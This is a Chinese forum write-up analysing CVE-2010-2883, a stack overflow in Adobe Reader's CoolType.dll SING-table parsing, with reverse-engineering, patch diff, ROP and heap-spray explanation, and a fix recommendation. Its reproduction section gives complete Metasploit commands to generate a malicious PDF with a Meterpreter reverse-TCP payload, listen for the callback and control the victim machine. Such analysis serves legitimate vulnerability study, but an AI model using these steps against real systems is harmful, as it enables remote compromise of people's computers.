本文为看雪论坛优秀文章
看雪论坛作者ID:Sal_Tay1、漏洞简述
- 漏洞名称:Adobe Reader TTF字体SING表栈溢出漏洞
2、组件概述
Adobe Reader是美国Adobe公司开发的非常流行的PDF文件阅读器。pdf中带有TTF字体Smart INdependent Glyphlets (SING)表的UniqueName成员在CoolType.dll中执行一次strcat函数。3、漏洞利用
Adobe Reader 9.3.4之前的版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞函数strcat,在执行时会将pdf文件的SING表的UniqueName字符串拷贝进栈中,并且不检查字符串长度。4、漏洞影响
Windows、Macintosh和UNIX系统下Adobe Reader 9.3.4 之前的版本。5、解决方案
https://www.adobe.com/support/security/bulletins/apsb10-21.html
1、环境搭建
2、复现过程
(1) Kali中启动Metasploit生成木马文件搜索Adobe渗透模块
msf > search adobe_cooltype_sing
调用渗透模块
msf > use exploit/windows/fileformat/adobe_cooltype_sing/
调用meterpreter载荷,反向连接到渗透机
msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
设置Kali Linux的IP地址
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.44.153
设置本地监听端口
msf exploit(adobe_cooltype_sing) > set LPORT 8888
设置PDF文件名称
msf exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf
生成PDF文件
msf exploit(adobe_cooltype_sing) > exploit
(3) Metasploit开启shell监听会话,等待靶机打开pdf使用handler监听模块
msf > use exploit/multi/handler
回弹一个tcp连接
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
设置监听IP地址(跟PDF木马文件一致)
msf exploit(handler) > set LHOST 192.168.44.153
设置监听的端口(跟PDF木马文件一致)
msf exploit(handler) > set LPORT 8888
开启监听
msf exploit(handler) > exploit
(5) Metasploit获取shell会话,并用Meterpreter控制靶机查看系统信息
meterpreter > sysinfo
截屏
meterpreter > screenshot
这个漏洞利用过程,adobe reader会“卡壳”退出,所以需要快速切换到其他系统进程,这样会话才不会丢失。获取进程
meterpreter > ps
切换进程
meterpreter > migrate 872
1、基本信息
- 漏洞文件:低于9.3.4版本的Adobe Reader
2、背景知识
(1) 栈溢出
程序将参数传入栈中时没有检查传入的参数是否大于预定的长度,导致栈中关键数据被参数覆盖。(2) ROP技术
面向返回编程(英语:Return-Oriented Programming,缩写:ROP)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。3、详细分析
(1) 基础分析
pdf文件中包含一个TTF字体文件,其包含一个SING表,以'SING'签名开始,使用PdfStreamDumper.exe查看恶意pdf文件,能够找到SING表的TableEntry:typedef sturct
{
char tag[4];
ULONG checkSum;
ULONG offset;//相对文件的偏移
ULONG length;//数据长度为0x1DDF
}TableEntry;
其中offset成员指向ttf文件中SING表的起始地址,在这个pdf中时0x11c:根据结构计算,UniqueName成员应为SING表+0x10处,也就是图中所示:而这部分数据会被作为strcat()函数的第二个参数传入栈中了,直到出现字符串截断符0x11。(2) 静态分析
① Ida分析
strcat()函数位于Adobe Reader的安装目录中的CoolType.dll文件中,使用Ida打开改文件,shift+F12搜索“SING”字符串,发现在引用该字符串(0x0803DD74)下方不远处就能找到strcat()函数(0x0803DDAB):按F5将其转为C代码查看,发现在strcat()处将一个指针变量+0x10的字符串入栈说明这个变量就是sing表的基地址,而+0x10位置便是UniqueName成员的地址。② 补丁Diff
下载AdobeReader 9.4.0提取CoolType.dll,定位到相同的位置。这里不是调用strcat,而是sub_813391E,跟进:可以看到在使用strcat函数前增加了参数字符串长度判断。③ 漏洞函数分析
(3) 动态分析
打开AdobeReader.exe,使用OD附加到进程,ctrl+G搜索“SING”字符串的地址0x0803DD74,设置断点。按F9让pdf阅读器先运行初始化,然后打开用msf生成的恶意pdf文件(运行过程中出现卡顿和报错是正常现象,不需要理会),在“SING”字符串的地址不远处找到strcat函数的调用,设置断点。动态分析strcat函数之前这段代码,其功能是检查pdf中是否包含SING表,并解析SING表,获取其UniqueName成员:0803DD74 68 4CDB1908 push CoolType.0819DB4C ; ASCII 53,"ING", "SING"
0803DD79 57 push edi ; edi入栈
0803DD7A 8D4D DC lea ecx,dword ptr ss:[ebp-0x24] ; ecx保存变量指针
0803DD7D E8 843DFEFF call CoolType.08021B06 ; 通过变量保存一个值,实际上是返回了SING表的地址
0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24] ; 把这个SING表地址赋给eax
0803DD85 3BC6 cmp eax,esi ; 此时esi为0,与eax比较,意思是判断SING表是否有效
0803DD87 C645 FC 02 mov byte ptr ss:[ebp-0x4],0x2
0803DD8B 74 37 je short CoolType.0803DDC4 ; jump equal 0的意思,前面比较不为零,不跳转
0803DD8D 8B08 mov ecx,dword ptr ds:[eax] ; 取双字节的EAX所指的地址的内存内容,赋值给ECX,此处内容为0X00010000,应该是SING表版本号
0803DD8F 81E1 FFFF0000 and ecx,0xFFFF ; 将0x00010000与0x0000FFFF与或位运算,得0
0803DD95 74 08 je short CoolType.0803DD9F ; 上一步比较得0,此处跳转
0803DD97 81F9 00010000 cmp ecx,0x100
0803DD9D 75 21 jnz short CoolType.0803DDC0
0803DD9F 83C0 10 add eax,0x10 ; eax存储sing表的基地址,因此加0x10为UniqueName结构
0803DDA2 50 push eax ; UniqueName地址入栈
0803DDA3 8D45 00 lea eax,dword ptr ss:[ebp] ; 将EBP所指的地址的内存内容,赋值给EAX
0803DDA6 50 push eax ; EAX入栈
0803DDA7 C645 00 00 mov byte ptr ss:[ebp],0x0 ; 将EBP所指的内容赋值为0
0803DDAB E8 483D1300 call <jmp.&MSVCR80.strcat> ; 调用strcat
让程序执行,并步过strcat这个函数,此时查看栈窗口:返回地址已经被覆盖为0x4A82A714,查看该地址的反汇编窗口:此处用到了ROP技术绕过DEP,执行这两条指令的作用是将栈中跳转地址的下一地址的内容(此处为0x0C0C0C0C)赋值给esp,产生的作用等同于 mov esp,0x0C0C0C0C;此时的esp被修改为0x0c0c0c0c,这时就将代码执行流引导至地址0x0C0C0C0C处。0x0C0C0C0C处是一个ROP链,这个链是在程序执行JavaScript时实现的HeapSpray而写入的,这个JavaScript的二进制数据也存在于pdf中,是精心构造出来的。继续跟进ROP链,看到先后调用函数CreateFile 、CreateFileMapping、MapOfViewMap创建了文件iso88591:使用memcpy函数将shellcode复制到了0x03F4000处:1、更新Adobe Reader版本至高于9.4.0以上。知乎:CVE-2010-2883 Adobe Reader 打开pdf电脑即刻中招https://zhuanlan.zhihu.com/p/35249958 https://www.bilibili.com/video/BV1Fi4y1V75L?from=search&seid=8966098512691197727 CSDN:CEV-2010-2883 Adobe Reader漏洞复现https://blog.csdn.net/weixin_41713281/article/details/79869710 第一次分析实际漏洞,文中有些知识点没有仔细分析,比如JavaScript实现的HeapSpary,还有ROP链将shellcode写入内存后的shellcode行为分析,还请大佬们不吝赐教!看雪ID:Sal_Tay
https://bbs.pediy.com/user-home-917290.htm
*本文由看雪论坛 Sal_Tay 原创,转载请注明来自看雪社区
文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458392136&idx=1&sn=7487c44a1b96a7fdde7a602c672bd93b&chksm=b18f26c286f8afd402602435fba19f48f9ca29c2c07521cb3242eba4559ab628fd81dd3ac931#rd
如有侵权请联系:admin#unsafe.sh